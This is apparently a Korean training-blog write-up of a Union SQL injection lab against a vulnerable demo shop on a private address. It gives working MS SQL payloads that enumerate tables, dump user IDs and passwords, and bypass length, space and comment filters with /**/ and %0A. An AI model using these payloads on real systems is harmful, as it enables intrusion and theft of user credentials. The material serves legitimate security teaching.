1. Union SQL Injection
K-Sheild 에서 제공한 취약한 홈페이지를 대상으로 Union SQL Injection을 실습
[MS SQL 시스템 테이블 참고]
https://www.mssqltips.com/sqlservertutorial/196/informationschematables/
https://www.mssqltips.com/sqlservertutorial/183/informationschemacolumns/
1) Union SQL Injection
그림 1-1 은 어느 홈페이지에서나 볼 수 있는 회원가입 화면의 주소입력란 이다. 해당 페이지에 Injection 취약점이 있는지 확인하기 위하여 입력란에 '(싱글 쿼터)를 입력하면 그림 1-2 와 같은 에러페이지를 확인 할 수 있다.
그림 1-1
그림 1-2 에러페이지를 통해 얻을 수 있는 정보는 mssql을 사용한다는 것과 'Dong' 파라미터를 사용한다는 점을 확인 할 수 있다.
그림 1-2
얻어낸 정보를 통해 url 에 다음과 같은 쿼리를 입력하여 컬럼의 개수를 확인하고자 한다.
그림 1-3 에러페이지에서 확인해보면 '동일한 개수의 식이 있어야 합니다.' 라는 메시지 확인 후 개수를 늘려가며 컬럼의 개수를 파악
http://192.168.100.111:1004/demoshop/login/findNewaddr.asp?dong='union select '1' -- | cs |
그림 1-3
여러번의 시행착오 결과 5개의 컬럼개수를 사용함을 확인 할 수 있다.
?dong='union select '1','2','3','4','5' -- | cs |
그림 1-4
그림 1-2 에서 mssql 임을 확인하였으니, 해당 명령어를 통해 테이블명을 확인 할 수 있다. 또한, admin_tb, members 테이블이 의심스럽다.
?dong='union select '1',table_name,'3','4','5' from information_schema.tables--
그림 1-5
다음 명령어를 통해 information_schema.columns 1 테이블에서 'members 테이블만' 이라는 조건을 넣어 출력해보면 그림 1-6 처럼 user_id, passwd 라는 컬럼명을 확인할 수 있다.
?dong='union select '1',table_name,'3','4','5' from information_schema.tables-- | cs |
그림 1-6
최종적으로 members테이블의 user_id, passwd 컬럼명을 뽑아내면 그림 1-7 처럼 사용자의 아이디와 패스워트를 출력함을 확인 가능했다.
( 추가적으로 members 테이블이 아닌, admin_tb 테이블을 확인하면 관리자계정과 패스워드를 확인 할 수 있다. )
?dong='union select '1','2','3',user_id,passwd from members -- | cs |
그림 1-7
2) 추가로 Union SQL Injection 방어에 대해 우회 실습
(1) http://192.168.100.111:1004/demoshop/login/findNewaddr2.asp
해당 사이트에선 입력란에 최대글자수를 적용하여 Injection에 대한 방어를 했지만, 그림 1-2 에서 'Dong' 파라미터를 확인했거나, 그림 2-1 처럼 해당 입력란의 'maxlength'를 없애거나 허용치를 늘려서 우회가 가능
그림 2-1
(2) http://192.168.100.111:1004/demoshop/login/findNewaddr3.asp
해당 사이트에선 그림 2-2 에러사이트를 보게되면 ?dong='unionselect' 근처의 구문이 잘못되었다는 에러를 확인 가능하다. 직관적으로 띄어쓰기를 필터링 했다는 걸 생각해 볼 수 있다. 해결책은 주석 /**/ 을 띄어쓰기로 치환하여 입력하면 그림 2-3 처럼 우회가 가능
?dong='union/**/select/**/'1','2','3',user_id,passwd/**/from/**/members -- | cs |
그림 2-2
그림 2-3
(3) http://192.168.100.111:1004/demoshop/login/findNewaddr4.asp
해당 사이트에선 주석조차 필터링하기에 아스키코드값인 '%0A' 를 통해 우회가능
?dong='union%0Aselect%0A'1','2','3',user_id,passwd%0Afrom%0Amembers -- | cs |
그림 2-4
그림 2-5
- 컬럼명을 모아놓은 테이블 [본문으로]
'K-Shield Jr. > 모의해킹' 카테고리의 다른 글
XSS ( Cross Site Scripting ) :: 타사용자 권한획득 실습 (0) | 2018.11.07 |
---|---|
SQL Injection :: 2. Blind SQL Injection (0) | 2018.11.07 |
SQL Injection의 종류와 의미 (0) | 2018.11.07 |
WordPress Plugin 취약점 Like DisLike Counter :: 2. 패스워드 크랙 (1) | 2018.11.05 |
WordPress Plugin 취약점 Like DisLike Counter :: 1. burp suite & sqlmap (0) | 2018.11.05 |